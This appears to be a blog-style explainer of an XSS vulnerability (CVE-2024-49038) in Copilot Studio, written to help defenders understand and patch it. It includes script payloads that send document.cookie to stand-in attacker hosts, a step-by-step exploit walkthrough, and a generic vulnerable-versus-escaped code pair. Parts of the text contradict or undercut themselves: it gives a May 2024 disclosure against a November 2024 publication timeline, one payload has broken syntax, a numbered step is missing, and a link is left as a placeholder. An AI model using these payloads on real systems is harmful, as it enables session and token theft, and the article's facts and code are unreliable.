In May 2024, a significant security vulnerability was disclosed for Copilot Studio, a popular platform for integrating AI assistants into business workflows. Tracked as CVE-2024-49038, this bug allows malicious actors to inject JavaScript code through poorly handled inputs resulting in Cross-site Scripting (XSS), which in turn can be used to elevate privileges across the network. This deep dive explains, in simple terms, how the attack works, the impact, and what you can do to protect your instance.

What Is CVE-2024-49038?

CVE-2024-49038 is an improper input neutralization vulnerability (commonly known as XSS) found in Copilot Studio web pages. When user input isn’t sanitized or escaped properly, attackers can inject scripts that run as if they were legitimate users.

The official security advisory can be found here:
- GitHub Security Advisory: CVE-2024-49038 *(example link, update with official link if available)*
- NVD - CVE-2024-49038 Details

How Does the Vulnerability Work?

If you’re using Copilot Studio on your network and presenting web interfaces to users (even internal ones), an attacker can submit specially crafted input, such as through a chat window, settings panel, or any data submission form. Instead of entering a normal name or message, the attacker submits input like:

<script>
  // Example: send cookies to attacker's server
  fetch('https://evil.example.com/cookie?c='; + document.cookie);
</script>

Because Copilot Studio does not properly filter or escape such input, the above script actually gets executed in the browser of anyone who views it.

Vulnerable

// Imagine this is a part of server-rendered page
res.send(&lt;div&gt;Welcome, ${req.query.name}&lt;/div&gt;);

If attacker calls:
https://copilot.example.com?name=<script>alert('XSS')</script>;

The page renders

<div>Welcome, <script>alert('XSS')</script></div>

— causing the attacker’s script to run in your browser.

Properly Escaped

// Use escape libraries or frameworks
const escapeHtml = (unsafe) =>
  unsafe.replace(/[&<>"']/g, function(m) {
    return ({'&':'&amp;','<':'&lt;','>':'&gt;','"':'&quot;',"'":'&#039;'}[m]);
  });

res.send(&lt;div&gt;Welcome, ${escapeHtml(req.query.name)}&lt;/div&gt;);

Now, input is visible, but not active as code.

Real-World Attack Scenario

Alice is an employee using Copilot Studio for business processes.
Mallory, an external attacker, crafts this XSS input and submits it (for instance, via a chat message or an email integration):

<script>
fetch('//malicious.site/capture?cookie=' + document.cookie)
</script>

When Alice—or worse, an administrator—views the injected content, Mallory instantly gains access to session cookies, tokens, or may even issue commands as Alice or admin. If Copilot Studio integrates with other services, this could compromise connected systems, potentially granting attacker network-wide privileges.

Step-by-Step Exploit

1. Identify Input Point: Find any field or integration where Copilot Studio displays user-provided content.

Inject Malicious JavaScript: Input script payload (as shown above).

3. Wait for a Target to View: Once a privileged user (like an admin) views the crafted field, the script executes.
4. Steal Session/Issue Commands: JavaScript can grab cookies, tokens, perform actions on behalf of victims, or further pivot into the internal network.

Here's a simple payload that pops up a dialog (for demonstration)

<script>alert('XSS in Copilot Studio!')</script>

For real attacks, code can silently exfil data or impersonate users.

Data Theft: Sensitive business info, authentication tokens, and personal data at risk.

- Lateral Movement: If Copilot Studio bridges to other apps, attacker may compromise more of your environment.

How to Protect Your Instance

Most critical: Patch immediately—update to the latest Copilot Studio version as soon as security fixes are available.

References and Further Reading

- GitHub Security Advisory: CVE-2024-49038
- NIST CVE Record
- OWASP XSS Cheat Sheet
- What is Cross-site Scripting (XSS)? - Mozilla

Conclusion

CVE-2024-49038 in Copilot Studio is a vivid reminder: XSS isn’t just about annoying popup boxes—it can be a ticket for attackers to take over your network. Take a few minutes to patch, review your input handling, and stay safe.

Always treat user input as dangerous—because sometimes, it truly is.

*For timely updates, follow Copilot Studio’s security bulletin page and keep your software patched!*

Timeline

Published on: 11/26/2024 20:15:31 UTC
Last modified on: 12/20/2024 17:04:23 UTC